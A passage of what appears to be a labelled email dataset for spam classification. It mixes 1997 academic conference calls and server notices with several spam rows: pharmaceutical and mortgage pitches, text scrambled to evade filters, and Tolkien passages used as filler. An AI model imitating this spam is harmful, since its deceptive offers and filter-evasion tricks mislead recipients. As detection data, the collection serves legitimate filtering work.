Stanislaw Ulam Memorial Lecture awarded by RECOMB to a scientist who has made major contributions in the computational aspects of the field. THE DISTINGUISHED CONFERENCE LECTURE. The conference will start with the Distinguished Conference Lecture awarded by RECOMB to a scientist who has made major contributions in the biological aspects of the field. THE DISTINGUISHED NEW TECHNOLOGIES LECTURE. A lecture describing emerging, new technologies. BEST PAPER BY A YOUNG SCIENTIST AWARD. This award will be given to the best paper written solely by one or more recent graduates or students. An abstract is eligible if all authors are recent graduates (within 2 years from Ph.D.) or full-time students at the time of submission. This should be indicated in the submission letter. The program committee may decline to make the award or may split it among several papers. STEERING COMMITTEE: Sorin Istrail, RECOMB General Vice-Chair (Sandia National Laboratories) Richard Karp (University of Washington) Thomas Lengauer (GMD-SCAI, Germany) Pavel Pevzner, RECOMB General Chair (University of Southern California) Ron Shamir (Tel-Aviv University, Israel) Michael Waterman, RECOMB General Chair (University of Southern California) PROGRAM COMMITTEE: Craig Benham (Mount Sinai School of Medicine) Gary Benson (Mount Sinai School of Medicine) Bonnie Berger (MIT) Martin Farach (Rutgers University) Phil Green (University of Washington) Dan Gusfield (University of California, Davis) David Haussler (University of California, Santa Cruz) Sorin Istrail (Sandia National Laboratories) Richard Karp (University of Washington) Minoru Kanehisa (Kyoto University, Japan) Eugene Koonin (National Center for Biotechnology Information) Thomas Lengauer (GMD-SCAI, Germany) Webb Miller (Pennsylvania State University) Gene Myers (University of Arizona) Pavel Pevzner, Program Committee Chair (University of Southern California) David Searls (SmithKline Beecham) Ron Shamir (Tel-Aviv University, Israel) Terry Speed (University of California, Berkeley) Martin Vingron (German Cancer Center) Michael Waterman (University of Southern California) ORGANIZING COMMITTEE: Craig Benham (Mount Sinai School of Medicine) Gary Benson, Conference Chair (Mount Sinai School of Medicine) Martin Farach (Rutgers University) Eugene Kolker, Publicity Chair (University of Washington) Information about local arrangements can be obtained by consulting the conference web page http://www.mssm.edu/biomath/recomb98.html or from the Conference Chair: Professor Gary Benson Department of Biomathematical Sciences Box 1023 The Mount Sinai Medical Center One Gustave L. Levy Place New York, NY 10029-6574 (212) 241-5777 phone (212) 860-4630 fax benson@ecology.biomath.mssm.edu ",0,1 Barbara Quigley ,THEORYNT@LISTSERV.NODAK.EDU,"Mon, 07 Jul 1997 19:55:09 -0700",DIMACS: Program on cryptology and security,"-------------------------------------------------------------------------- | DIMACS: Center for Discrete Mathematics & Theoretical Computer Science | | A National Science Foundation Science and Technology Center | -------------------------------------------------------------------------- There will be a three-week program on cryptology and security at DIMACS, from July 27 through August 15. In addition to typical research talks, the schedule features many ``plenary'' talks aimed at a general audience and many ``expository'' talks aimed at computer scientists and mathematicians who are not specialists in cryptology and security. All members of the scientific community are welcome to attend. See http://dimacs.rutgers.edu/drei/1997 for more information. This program is made possible with funding from the National Science Foundation. DIMACS Center; Rutgers University; P.O. Box 1179; Piscataway, NJ 08855-1179 TEL: 732-445-5928 FAX: 732-445-5932 ** EMAIL:center@dimacs.rutgers.edu WWW: http://dimacs.rutgers.edu ",0,1 Eavan Thiel ,suresh@robotics.stanford.edu,"Tue, 08 Jul 1997 23:48:54 -0700",Re: your AMBotEN,"Hi C V L A V P X I I e m A r a A A v b L o n L G i i I z a I R t e U a x S A ra n M c http://www.lopasinoalok.com that for a while they forgot their own troubles. Balin in particular insisted on having the Gollum story, riddles and all, told all over again, with the ring in its proper place. But after a time the light began to fail, and then other questions were asked. Where were they, and where was their path, and where was there any food, and what were they going to do next? These questions they asked over and over again, and it ",1,1 lat@server.cs.vt.edu,ei_users@ei.cs.vt.edu,"Wed, 09 Jul 1997 10:25:51 -0400",ei.cs.vt.edu downtime,"ei very possibly will be donw around 1pm for about 15 - 30 minutes for a cpu board change. please plan accordingly. ",0,0 lat@server.cs.vt.edu,ei_users@ei.cs.vt.edu,"Thu, 10 Jul 1997 16:32:33 -0400",downtime,"ei.cs.vt.edu is scheduled to be down for a short time on friday to try to correct the hardware problem it is having. once digital confirms the time, i will let you know. laurie ",0,0 Frank Drewes ,THEORYNT@LISTSERV.NODAK.EDU,"Mon, 14 Jul 1997 12:28:27 -0700",European School on Graph Transformation," ************************************************* * First Call for Participation * * European School on Graph Transformation * * * * Bremen (Germany) * * March 2-7, 1998 * ************************************************* [for a PostScript version of this call see http://www.informatik.uni-bremen.de/grp/ag-ti/getgrats] Aims and Scope Graph grammars originated in the late 60s, motivated by considerations about pattern recognition and compiler construction. Since then the list of areas which have interacted with the development of graph grammars has grown quite impressively. Besides the aforementioned areas it includes software specification and development, VLSI layout schemes, massively parallel computer architectures, database design, modeling of concurrent systems, logic programming, computer animation, developmental biology, music composition, visual languages, and many others. The area of graph grammars and graph transformation generalizes formal language theory based on strings and the theory of term rewriting based on trees. As a matter of fact within the area of graph grammars, graph transformation is considered a fundamental programming paradigm where computation includes specification, programming, and implementation. The main goal of the School is to disseminate ``the basic knowledge'' about the area of graph grammars and graph transformation and to present in a systematic way the state of the art and the recent advances in the theory and applications of graph transformation systems. The aim is to bring together students, young researchers and senior scientists interested in the area. The expected audience for the School consists of two groups: (i) participants from outside the area: these are the students and researchers who want to learn (for various reasons) about graph grammars and graph transformation, (ii) participants from inside the area: these are students and researchers that already have some knowledge of graph grammars, but they are interested to get a more systematic insight into the area. The objective of the School (especially as the first group is concerned) is to make the participants ``literate'' in the area of graph grammars and graph transformation. This means that, after the School, the participants will find it easier to follow basic literature, and to consider applications of graph grammars and graph transformations in their areas of interest. The program of the School covers main developments in both theory and applications of graph transformation. Certificates The School will issue certificates to acknowledge a successful participation. Organization The School is one of the main events organized by the TMR Research Network GETGRATS (General Theory of Graph Transformation Systems). Also, the ESPRIT Working Group APPLIGRAPH (Applications of Graph Transformation) participates in the organization of the school. Program Committee Michel Bauderon, Hartmut Ehrig, Dirk Janssens, Hans-Joerg Kreowski (Cochair), Ugo Montanari, Francesco Parisi-Presicce, Grzegorz Rozenberg (Chair) Organizing Committee Frank Drewes, Hans-Joerg Kreowski (Chair), Grzegorz Rozenberg Grants The organizers hope to be able to offer grants to cover (parts of) the costs for travel and subsistence. Information For more information please contact the organizers by email ({drewes,kreo}@informatik.uni-bremen.de). You can also look up the WWW homepage of the School. Just follow the respective link at http://www.informatik.uni-bremen.de/grp/ag-ti/getgrats. Registration To register for the School please return the form at the end before December 6, 1997. Pre-registrations (without obligation) are welcome at any time. The registration fee will be around DM 1200,- - DM 1300,-. This covers lodging (6-7 nights), full board, and the teaching material including the handbook. Scientific Programme The scientific programme consists of 4 parts: INTRODUCTORY LECTURE provides an informal panoramic sketch of the area. BASIC CORE covers basic approaches to defining graph transformations. Each of the following four approaches is covered by a strand of lectures. (1) node rewriting (2) (hyper)edge rewriting (3) logical descriptions (4) algebraic approaches LAYER 1 consists of lectures on various ways of defining graph transformations not covered in the Basic Core, as well as various specialistic topics from the 4 strands of the Basic Core. (1) term graph rewriting (2) foundations of the PROGRES approach (3) concurrency (4) coordination (5) 2-structures (6) pullback-approach (7) high-level approaches LAYER 2 consists of lectures covering various applications of graph transformation and topics strongly rooted in applications. (1) term graph rewriting in functional programming (2) the use of PROGRES in a software engineering environment (3) modularization (4) distributed algorithms (5) visual design of distributed systems (6) image generation (7) graph drawing The lectures will be given by leading experts in the field of graph grammars and graph transformation. Presentation of Tools In addition to the scientific programme various systems and tools (PROGRES, AGG, GRAPHED, CLEAN, COLLAGE-VR, etc.) will be presented. Teaching Material - copies of transparencies, relevant papers, and lecture notes - the Handbook on Graph Grammars and Computing by Graph Transformations, Volume 1: Foundations, World Scientific 1997 -------------------------- Registration form --------------------------- I would like to [ ] pre-register / [ ] register for the European School on Graph Transformation. Name: ____________________________________ Position: ____________________________________ Address: ____________________________________ ____________________________________ ____________________________________ ____________________________________ email and fax: ____________________________________ I need financial support: [ ] yes [ ] no (Please return this form to Prof. Dr. Hans-Joerg Kreowski, Universitaet Bremen Fachbereich 3 Postfach 330440 D-28334 Bremen (Germany) email: kreo@informatik.uni-bremen.de Fax: +49-421-218-4322) ",0,1 Norbert Schulz ,"crc@starburst.mit.edu, dd@starburst.mit.edu, dph@starburst.mit.edu, wise@starburst.mit.edu, hermanm@starburst.mit.edu, jhk@starburst.mit.edu, dsd@starburst.mit.edu, davis@starburst.mit.edu, kaf@starburst.mit.edu, baluta@starburst.mit.edu, houck@starburst.mit.edu","Tue, 15 Jul 1997 15:29:18 -0400",xrcfdata,"Hi Folks, I updated the xrcf data archive on /starburst for MIT/ASC: all ACIS-2C and HST data are on /starburst/d2 aqlc1 and aqlc2 are the ACIS-2C data that already existed before PHASE_G are all ACIS-2C data from the mid-April run PHASE_H are all ACIS HST data from the ACIS flight testing PHASE_Hr are the reprocessed phase H HST data (updated as reprocessing continues) all ACIS flight telemetry data are on /starburst/d3 mcc1 - 4 currently contain erv-/arv-/.qdp formatted telemetry data of all the science runs in phase H. Currently the runs are NOT yet broken up into single test IDs. During time I will try to break all the science runs into single test IDs and have the arv-format converted into the L1-output format. Since this is a short cut to overcome the tele-decom problems at SAO for the time being, we may not do this conversion for all data sets but the ones of immediate interest. I can't promise any time scale to get the conversion done, but in case there is immediate need to look at telemetry data, I will find a way to look at them at request. Joel also knows, how to deal with arv-formats. have fun, Norbert ",0,0 Savannah Sheets ,suresh@robotics.stanford.edu,"Wen, Fri, 18 Jul 1997 12:33:43 -0900",sexy baby and bad erection? ,"Cialis Soft Tabs is the new impotence treatment drug that everyone is talking about. It has benefits over Viagra and other ED treatment solutions. Here goes some reasons to choose Cialis Soft Tabs: 1. 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",1,1 Stathis Hornbeck ,suresh@robotics.stanford.edu,"Wed, 23 Jul 1997 08:27:24 -0700",Re: AMBltEN news,"Hi, C P V A X V L I r I m a A e A o A b n L v L z G i a I i I a R e x U t S c A n M ra http://www.smaledirabol.com than we are, and they do not easily lose their sense of direction underground-not when their heads have recovered from being bumped. Also they can move very quietly, and hide easily, and recover wonderfully from falls and bruises, and they have a fund of wisdom and wise sayings that men have mostly never heard or have forgotten long ago. I should not have liked to have been in Mr. Baggins place, all the same. The ",1,1 Klaus Schwettmann ,THEORYNT@LISTSERV.NODAK.EDU,"Wed, 23 Jul 1997 21:48:33 -0700","Autumn School ""What is a smart algorithm?"" (Uni-Trier)","======================================================== Call for Participation Autumn School ""What is a smart algorithm?"" October 9-11, 1997 University of Trier, Germany http://www.informatik.uni-trier.de/Herbstschule97/ ======================================================= The aim of the autumn school is to present new trends and ideas in optimization algorithms. It is intended primarily for PhD students, qualified graduated students and researchers interested in this field. The school comprises tutorial lectures and exercise sessions supervised by the lecturers. The courses will be held in German. Lecturers: - E.W. Mayr, Muenchen Algorithmen fuer polynomielle Gleichungssysteme - A. Neumaier, Wien Intervallverfahren in der Optimierung - P. Spellucci, Darmstadt Aspekte bei der Beurteilung und Auswahl von Optimierungsverfahren fuer kontinuierliche Probleme - E. Welzl, Zuerich Loesen geometrischer Probleme - einfach, stabil, schnell Registration fee: The registration fee amounts to 30 DM. Applications: Since the number of participants is limited an application (curriculum vitae and letter of recommendation) is required. Send your application until September 1st. to the following address: Herrn Prof. Dr. Ch. Meinel GK Mathematische Optimierung Universitaet Trier D-54286 Trier Phone: ++49 651 201-3477 E-mail: mathopt@uni-trier.de ",0,1 El Mostapha Aboulhamid ,THEORYNT@LISTSERV.NODAK.EDU,"Wed, 23 Jul 1997 21:49:35 -0700",CHARME'97 in Montreal in October 97,"------------------------------------------------------------------ -------------- ******************** * CHARME '97 * ******************** PRELIMINARY PROGRAM AND REGISTRATION INFORMATION IFIP WG 10.5 Advanced Research Working Conference on Correct Hardware Design and Verification Methods Montreal, Quebec, Canada 16 - 18 October 1997 organized by the Groupe interuniversitaire en architecture des ordinateurs et VLSI (GRIAO) cosponsored by Nortel North America, Canadian Microelectronics Corporation, MICRONET Center of Excellence Up-to-date information available on the WEB : http://griao.iro.umontreal.ca/CHARME97/ OBJECTIVES CHARME 97 is the ninth in a series of working conferences devoted to the development and use of formal techniques in digital hardware design and verification. Previous meetings were held in Darmstadt (1984), Edinburgh (1985), Grenoble (1986), Glasgow (1988), Leuven (1989), Torino (1991), Arles (1993), and Frankfurt (1995). This conference series is sponsored by IFIP, and is organized in cooperation with IFIP WG 10.5. Formal verification is increasingly recognized as an appropriate tool for design acceptance (i.e., establishing correctness), and for detecting design errors and specification ambiguities. The validation of functional and timing behaviour is a major bottleneck in current VLSI design systems. Once an academic area, formal design and verification techniques are now beginning to attract serious attention from industry. Given this general increase in activity, our aim is to bring together researchers and users >From both communities. PRELIMINARY PROGRAM Thursday, October 16 7:30 p.m. Cocktail and registration Friday, October 17 9:00 - 9:15 Opening address 9:15 - 10:00 Session 1.1: Invited Presentation ASIC/System HW verification at Nortel: A view from the trenches, A. Silburt (Nortel Semiconductors) Abstract: The emergence of functional verification as the largest single component of the ASIC development cycle has come as a bit of a surprise to the design community. At Nortel we have had a group focusing on the methodologies used at this stage in the design for 4 years. Our involvement with some of the largest Nortel HW designs has provided us with first hand experience of the challenges in establishing confidense that ASICs will first time in a system. This talk will describe the scope of the problems faced in ASIC intesive telecom systems, the methodologies currently deployed and the emerging technologies that we are looking towards in the future to improve our ability to handle complex hardware systems. 10:30 - 12:00 Session 1.2: Advanced Processor Verification Proving the Correctness of the Interlock Mechanism in Processor Design, X. Li(1), A. Cau (2), B. Moszkowski (1), N. Coleman (1), and H. Zedan (2), (1) University of Newcastle, UK, (2) De Montfort University, UK Verifying Out-of-Order Executions, W. Damm and A. Pnueli, OFFIS, Weizmann Institute of Science Formal Modelling and Validation Applied to a Commercial, Coherent Bus, G. Gopalakrishnan, R. Ghughal, R. Hosabettu, and R. Nalumasu, University of Utah 13:00 - 14:30 Session 1.3: Semantics of Hardware-Description Languages An Approach to Verilog-VHDL Interoperability for Synchronous Designs, D. Borrione, F. Vestman, H. Bouamama, TIMA-UJF A Polymodal Semantics for VHDL, S. Shankar and J. Slagle, University of Minnesota A semantic model for VHDL-AMS, N. Martinez Madrid, P. Breuer, and C. Delgado Kloos, Universidad Carlos III de Madrid 15:00 - 16:30 Session 1.4: Model Checking Invited Presentation: Model Checking without Hardware Drivers, Carlos M. Roman, Gary De Palma, Robert Kurshan (Lucent Technologies, Inc.) Abstract: Regardless of whether a simulator or a model checker is used for functional verification, proper capture of the design environment is probably one of the most important steps. This step is not just limited to the proper definition of Clock and Reset pins but, it also includes the specification of input constraints in order to establish a reasonable habitat for the design. However, capturing the environment for a model checker does differ from the conventional approach used for simulators. In this paper, we address these fundamental differences as they are applicable to FormalCheck[Tm], an w-automata based, model checker being comerciallized by Bell-Labs Design Automation, a divisions of Lucent Technologies Inc. Drivers (input conditioners/controllers) and Monitors (output loggers/observers) are used in the simulation environment of virtually every design. These Drivers and Monitors, normally implemented with hardware surrounding the design entity, can invariably restrict the amount of non-determinism required to activate and detect a corner-case bug. In contrast, the level of expressiveness in FormalCheck's language containment constructs allows for accurate and efficient capture of design environments while eliminating the need for sophisticated Drivers and Monitors altogether. These language containment constructs cover the entire spectrum from assumptions and exclusions to eventualities thus, making the generation of safety and fairness constraints very simple. Efficient Model Checking for Analysis of Rainbow Designs, W. Visser, H. Barringer, D. Fellows, G. Gough, and A. Williams, University of Manchester Symbolic Model Checking for a Discrete-Clocked Temporal Logic with Intervals, J. Ruf and T. Kropf, University of Karlsruhe Saturday, October 18 8:30 - 10:00 Session 2.1: Decision Graphs A Parallel Approach to Symbolic Traversal Based on Set Partitioning, G. Cabodi (1), P. Camurati (2), A. Lioy (1), M. Poncino (1), and S. Quer (1), (1) Politecnico di Torino, (2) Universita di Udine Implementation of a Multiple-Domain Decision Package, S. Hoereth, University of Technology Darmstadt Using Induction and BDDs to Model Check Invariants, D. Deharbe and A. Martins Moreira, Universidade Federal do Rio Grande do Norte 10:30-12:00 Session 2.2: New verification techniques Invited Presentation: CheckOff-M - model checking and its role in IP, Roger Hughes (Abstract Inc. and Abstract Hardware Ltd.) On the Non-Termination of MDG-Based Abstract State Enumeration, O. Ait-Mohamed, X. Song, and E. Cerny, Universite de Montreal Verification of Correctness and Performance of Network Protocols via Simulation-Based Techniques, M. Baldi, M. Rebaudengo, P. Prinetto, M. SonzaReorda, and G. Squillero, Politecnico di Torino 13:00 - 14:30 Session 2.3: Issues in Formal Synthesis Integrated Reasoning Support in System Design: Design Derivation and Theorem Proving, S. Johnson (1) and P. Miner (2), (1) Indiana University, (2) NASA Langley Research Center Hardware Compilation Using Attribute Grammars, G. Economakos, G. Papakonstantinou, K. Pekmestzi, and P. Tsanakas, National Technical University of Athens Automatic Post-Synthesis Verification Support for a High-Level Synthesis Step Using the HOL Theorem-Proving System, M. Mutz, University of Passau 15:00 - 16:30 Session 2.4: Panel - Is there a crisis in HW verification Isadore Katz, VP, Chrysalis Symbolic Design, Inc. Carlos Roman (Lucent Inc.) Roger Hughes (Abstract Inc.) PROGRAM COMMITTEE Francois Anceau (CNAM, France) Dominique Borrione (TIMA, France) Paolo Camurati (Politecnico di Torino, Italy) Luc Claesen (IMEC, Belgium) Edmund Clarke (Carnegie Mellon University, USA) Francisco Corella (Hewlett-Packard, USA) Werner Damm (University of Oldenburg, Germany) Hans Eveking (University of Darmstadt, Germany) Ganesh Gopalakrishnan (University of Utah, USA) Mark Greenstreet (University of British Columbia, Canada) Steven Johnson (Indiana University, USA) Carlos Delgado Kloos (University Carlos III, Spain) Thomas Kropf (University of Karlsruhe, Germany) Michel Langevin (Nortel, Canada) Hon F. Li (Concordia University, Canada) Tiziana Margaria (University of Passau, Germany) Matthias Mutz (University of Passau, Germany) Laurence Pierre (Universite de Provence, France) Paolo Prinetto (Politecnico di Torino, Italy) Xiaoyu Song (Universite de Montreal, Canada) Jorgen Staunstrup (Technical University of Denmark, Lyngby) CONFERENCE CHAIR Eduard Cerny Dep. d'informatique et de recherche operationnelle (IRO) Universite de Montreal Tel: (514) 343-7472 Fax: (514) 343-5834 E-mail: cerny@iro.umontreal.ca PROGRAM CHAIR David K. Probst Department of Computer Science Concordia University Tel: (514) 848-3023 Fax: (514) 848-2830 E-mail: probst@iro.umontreal.ca -- conference e-mail address probst@vax2.concordia.ca -- alternate e-mail address PUBLICITY CHAIR El Mostapha Aboulhamid Dep. d'informatique et de recherche operationnelle (IRO) Universite de Montreal Tel: (514) 343-6822 Fax: (514) 343-5834 E-mail: aboulham@iro.umontreal.ca PUBLICATION CHAIR Hon F. Li Department of Computer Science, Room LB-941-3 Concordia University Tel: (514) 848-3020 Fax: (514) 848-2830 E-mail: hfli@vlsi.concordia.ca LOCAL ARRANGEMENTS, REGISTRATION CHAIR Denise St-Michel GRIAO-IRO Universite de Montreal Tel: (514) 343-7052 Fax: (514) 343-5834 E-mail: stmichel@iro.umontreal.ca ---------HOTEL RESERVATION AND CONFERENCE REGISTRATION FORMS -------- IFIP WG10.5 Advanced Research Working Conference on Correct Hardware Design and Verification (CHARME'97) Marriott Château Champlain Hotel 1, Place du Canada Montreal, Quebec, Canada October 16-18, 1997 CONFERENCE REGISTRATION FORM Please use BLOCK LETTERS. IFIP member - which working group: Last name: First name: Affiliation: Address: Country: Phone number: Fax number: E-mail: Registration fees Before September 10 After September 10 IFIP members 430$ CDN 550$ CDN Registration fees include cocktail, coffee breaks, lunches and banquet. Non IFIP members 480$ CDN 600$ CDN Registration fees include cocktail, coffee breaks, lunches and banquet. Students 300$ CDN 400$ CDN Registration fees include cocktail, coffee breaks, lunches. PAYMENT:Cheques labelled in Canadian currency ONLY to the order of CHARME '97. Note that we cannot accept credit cards for advance or on-site registration. Given the small size of the conference we apologize for not being able to provide such service. HOTEL RESERVATION FORM ---------------------- Marriott Chateau Champlain Hotel 1, Place du Canada Montreal, Quebec, Canada CHARME'97 Conference rate: 125.00$ CDN per night plus taxes (single or double occupancy) This rate is valid until September 10, 1997. Please use BLOCK LETTERS. Last name: First name: Affiliation: Address: Country: Phone number: Fax number: E-mail address: Single occupancy ( ) Double occupancy ( ) Last name: First name: Smoking ( ) Non smoking ( ) Number of nights: Arrival date: Departure date: Payment: Visa ( ) MasterCard ( ) Diners Club ( ) American Express ( ) Name of the cardholder: Card number: Expiry date: Signature: Send your hotel reservation and conference registration forms to: Denise St-Michel GRIAO Ð IRO, Andre-Aisenstadt Bldg., Room 3227 Universite de Montreal 2900 Edouard-Montpetit Montreal (Quebec), Canada H3C 3J7 Fax: (514) 343-5834 Phone: (514) 343-7052 e-mail: stmichel@iro.umontreal.ca ",0,1 Dietrich Kuske ,THEORYNT@LISTSERV.NODAK.EDU,"Wed, 23 Jul 1997 21:49:55 -0700",Announcement,"(a PS-version of this announcement is appended) Traces and Logic November 3-5, 1997 at Technische Universit\\""at Dresden A workshop of the Graduiertenkolleg ""Spezifikation diskreter Prozesse und Prozesssysteme durch operationelle Modelle und Logiken"" We are very happy to announce the following invited speakers and lectures: V. Diekert (Stuttgart): Rewriting systems over traces - a survey P. Gastin (Paris): Formal power series in partially commuting variables Y. Matiyasevich (St. Petersburg): Solving trace equations A. Muscholl (Stuttgart): Some decision problems for traces A. Petit (Cachan): Traces and logic -- a semigroup approach D. Th\\'erien (Montreal) : Algebraic characterizations and decision procedures in temporal logic W. Thomas (Kiel): Monadic second-order logic over partial orders I. Walukiewicz (Warsaw): A temporal logic for traces All lecturers are asked to give a general survey on their field of interest followed by recent research results. It is planned that after further short communications, promissing new research developments are discussed among the participants of the workshop. The lectures will take place in Willersbau, Zellescher Weg, at the Department of Mathematics. More up to date information can be obtained via the URL http://www.math.tu-dresden.de/~kuske/TracesAndLogic.html Interested participants are most welcome. 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Analysis Symposium Paris, France, September 8-10, 1997 http://lix.polytechnique.fr/~radhia/sas97 Hosted by Ecole Normale Supe'rieure Supported by Centre National de la Recherhe Scientifique Ecole Normale Supe'rieure Ecole Polytechnique Ministe`re des Affaires Etrange`res Ministe`re de l'Education Nationale, de la Recherche et de la Technologie Static Analysis is increasingly recognized as a fundamental tool for high performance implementations and verification systems of high-level programming languages. The last two decades have witnessed substantial developments in this area, ranging from theoretical frameworks to design, implementation, and application of analysers in optimising compilers. The Fourth International Static Analysis Symposium (SAS'97) will be held in Paris to celebrate the 20th anniversary of the publication of the seminal paper of Patrick and Radhia Cousot in the Proceedings of the Principles of Programming Languages Conference (POPL'77). Previous symposia were held in Namur, Glasgow, and Aachen. Registration information is available at the bottom of this announcement and the SAS'97 home page, available at http://lix.polytechnique.fr/~radhia/sas97. SAS'97 PROGRAMME SUNDAY SEPTEMBER 7 17:00-20:00 Registration MONDAY SEPTEMBER 8 8:00- 9:00 Registration 8:50- 9:00 Welcome 9:00-10:00 Keynote Invited Talk Abstract Interpretation Based Static Analysis Parameterized by Semantics Patrick Cousot 10:00-10:30 Break 10:30-12:00 Procedural Programming II On Sparse Evaluation Representations G. Ramalingam The Effects of the Precision of Pointer Analysis Marc Shapiro & Susan Horwitz Fast and Effective Procedure Inlining Ocsar Waddell & R. Kent Dybvig 12:00-13:30 Lunch 13:30-14:30 Invited Talk Can abstract interpretation become a mainstream compiler technology? William L. Harrison 14:30-15:00 Break 15:00-16:30 Logic Programming I Sharing Revisited Roberto Bagnara & Patricia Hill & Enea Zaffanella An Algebraic Approach to Sharing Analysis of Logic Programs Michael Codish & Vitaly Logoon & Francisco Bueno Logical optimality of groundness analysis Francesca Scozzari 16:30-17:00 Break 17:00-18:00 Functional Programming I Toward a Cost-effective Estimation of Uncaught Exceptions in SML Programs Kwangkeun Yi & Sukyoung Ryu Program Analysis using Mixed Term and Set Constraints Manuel Fahndrich & Alexander Aiken 20:00-23:00 Reception TUESDAY, SEPTEMBER 9 9:00-10:00 Invited Talk Combining Abstract Interpretation and Partial Evaluation Neil D. Jones 10:00-10:30 Break 10:30-12:00 Logic Programming II Set-Based Analysis for Logic Programming and Tree Automata P. Devienne & JM. Talbot & S. Tison Denotational Abstract Interpretation of Functional Logic Programs Frank Zartmann Termination analysis for Mercury Chris Speirs & Zoltan Somogyi & Harald Sondergaard 12:00-13:30 Lunch 13:30-14:30 Invited Talk Practical Compile-Time Analysis Barbara Ryder 14:30-15:00 Break 15:00-16:30 Poster & Demo Session Demo Semantic Analyzer of Modula-Programs Pavel Emelianov & Danil Baburin Posters Abstract Interpretation for improving WAM code Dante Baldan & Gilberto Fil'e Attribute Grammars and Functional Programming Deforestation Loic Correnson & Etienne Duris & Didier Parigot & Gilles Roussel Data Dependencies as Abstract Interpretation Stanislav Tzolovski 16:30-18:30 Concurrency The Power of QDDs Bernard Boigelot & Patrice Godefroid & Bernard Willems & Pierre Wolper Type-based Analysis of Communication for Concurrent Programming Languages Atsushi Igarashi & Naoki Kobayashi True Concurrency via Abstract Interpretation Chiara Bodei & Corrado Priami Static Analysis of Interaction Nets for Distributed Implementations Ian Mackie WEDNESDAY, SEPTEMBER 10 9:00-10:00 Invited Tutorial Abstract Interpretation: A Theory of Approximate Computation Kim Marriott 10:00-10:30 Break 10:30-12:00 Functional Programming II Type-Directed Flow Analysis for Typed Intermediate Languages Suresh Jagannathan & Stephen Weeks & Andrew Wright Exact Flow Analysis Christian Mossin Satisfying Systems of Subtype Inequalities in Polynomial Space Alexandre Frey 12:00-13:30 Lunch 13:30-14:30 Invited Tutorial On the Desirable Link Between Theory and Practice in Abstract Interpretation Baudouin Le Charlier 14:30-15:00 Break 15:00-16:30 Procedural Programming II Static Analyses of Congruence Properties on Rational Numbers Philippe Granger Effective Specialization of Realistic Programs via Use Sensitivity Luke Hornof & Jacques Noye & Charles Consel Coalescing Conditional Branches into Efficient Indirect Jumps Gang-Ryung Uh & David Whalley 16:30-17:00 Break 17:00-18:00 Termination Automatic Termination Analysis for Partial Functions Using Polynomial Orderings Juergen Brauburger TEA: Automatically proving termination of programs in a non-strict higher-order functional language Sven E. Panitz & Manfred Schmidt-Schauss CONFERENCE COMMITTEE Conference Chair: R. Cousot (CNRS & Polytechnique) Program Chair: P. Van Hentenryck (Brown) Program Committee: F. Bourdoncle (Mines, Paris) M. Bruynooghe (Leuven) A. Cortesi (Venice) S. Debray (Arizona) A. Deutsch (INRIA) R. Giacobazzi (Pisa) C. Hankin (Imperial College) N. Halbwachs (Grenoble) L. Hendren (McGill) F. Henglein (DIKU) D. Le Me'tayer (INRIA/IRISA) T. Marlowe (Seton Hall) J. Palsberg (Purdue) W. Winsborough (Transarc Corp.) REGISTRATION To register for SAS'97, fill out the registration form, attached below, and send it with payment. All payments should be made in French Currency: - Bank transfer to: TRESORERIE GENERALE DE L'ESSONNE, Boulevard de France, 91011 Evry, France Account number: 10071-91000-00003001722-65 (State your name and the conference reference: SAS'97) (Send the registration form separately) - Make checks payable to: Agent comptable secondaire CNRS IDF SUD (to be sent with the registration form) - Purchase Order Form to: LIX-CNRS (to be sent with the registration form) ------------------- SAS'97 Registration Form -------------------- To be sent to: SAS'97 c/o Evelyne Rayssac LIX Ecole Polytechnique 91128 Palaiseau cedex France Tel: +33 1 69 33 38 03 Fax: +33 1 69 33 30 14 email: sas97@lix.polytechnique.fr Name:_____________________________________________________ Affiliation:______________________________________________ Address:__________________________________________________ __________________________________________________ __________________________________________________ Phone:____________________________________________________ Fax:______________________________________________________ E-mail:___________________________________________________ Dietary requirements:_____________________________________ Payment by: enclosed check ___ enclosed order form ___ bank tranfer ___ Registration fees: (in French Francs, 20.6% VAT included) by August 15, 1997: 2,000 FF___ 1,500 FF (Full-time Student)___ after August 15, 1997: 2,400 FF___ 1,700 FF (Full-time Student)___ Registration includes the proceedings, reception, lunches and coffee breaks. --------------------------------------------------------------- HOTEL AND TRAVEL INFORMATION Hotel and travel information, including detailed information on room reservations at any of a number of hotels near the Ecole Normale Supe'rieure, is available at the URL http://lix.polytechnique.fr/~radhia/sas97/ For SAS'97, we have arranged rooms for conference attendees at the hotels listed below. To make a reservation, send a fax mentioning the reference ""SAS'97"". Please note that all of the by July 30: Hotel Luxembourg (***), 616F Fax: +33 (0) 1 43 26 60 84 Tel: +33 (0) 1 43 25 35 90 email: luxhotel@luxembourg.grolier.fr http://www.grolier.fr/luxembourg Hotel des Jardins du Luxembourg (***), 650FF Fax: +33 (0) 1 40 46 02 28 Tel: +33 (0) 1 40 46 08 88 Hotel Observatoire-Luxembourg (***), 586FF 107, Boulevard Saint-Michel Fax: +33 (0) 1 46 33 73 86 Tel: +33 (0) 1 46 34 10 12 Hotel Pierre Nicole, (**), 350FF Fax: +33 (0) 1 43 54 22 45 Tel: +33 (0) 1 43 54 76 86 --------------------------------------------------------------- ",0,1 Garrick Rubino ,jillian@eos03a.eos.ncsu.edu,"Fri, 08 Aug 1997 19:40:15 -0700",Re: uyyut news,"D a ear Home Ow z ne k r , Your cr j edi c t doesn't matter to us ! If you OW a N real e u st f at p e and want I r MME w DIAT o E ca f sh to s h pen d d ANY way you like, or simply wish to L k OWER your monthly pa r yment i s by a third or more, here are the deal h s we have T f OD c AY : $ 48 v 8 , 000 at a 3 , 6 g 7% f q ixed - rat d e $ 3 r 72 , 000 at a 3 d , 90% va m riab t le - rat m e $ 4 i 92 , 000 at a 3 e , 21% int z eres i t - only $ 24 e 8 , 000 at a 3 , r 36% f h ixed - rat m e $ 1 c 98 , 000 at a 3 v , 55% vari v able - ra v te Hurr l y, when these deaI k s are gone, they are gone ! Don't worry about ap i prov g al, your c z red u it will not d k isqu e alify you ! Vi o si q t our s s ite Sincerely, Garrick Rubino Ap g prov n al Manager",1,1 """Lavon B. Page"" ","htbanks@crsc1.math.ncsu.edu, bishir@math.ncsu.edu, david_brown@ncsu.edu, eeb@math.ncsu.edu, slc@math.ncsu.edu, chandler@math.ncsu.edu, charlton@math.ncsu.edu, chu@math.ncsu.edu, chukwu@math.ncsu.edu, chung@math.ncsu.edu, cohen@math.ncsu.edu, danby@math.ncsu.edu, dunn@math.ncsu.edu, gdf@math.ncsu.edu, amassa@math.ncsu.edu, bfitz@math.ncsu.edu, franke@math.ncsu.edu, 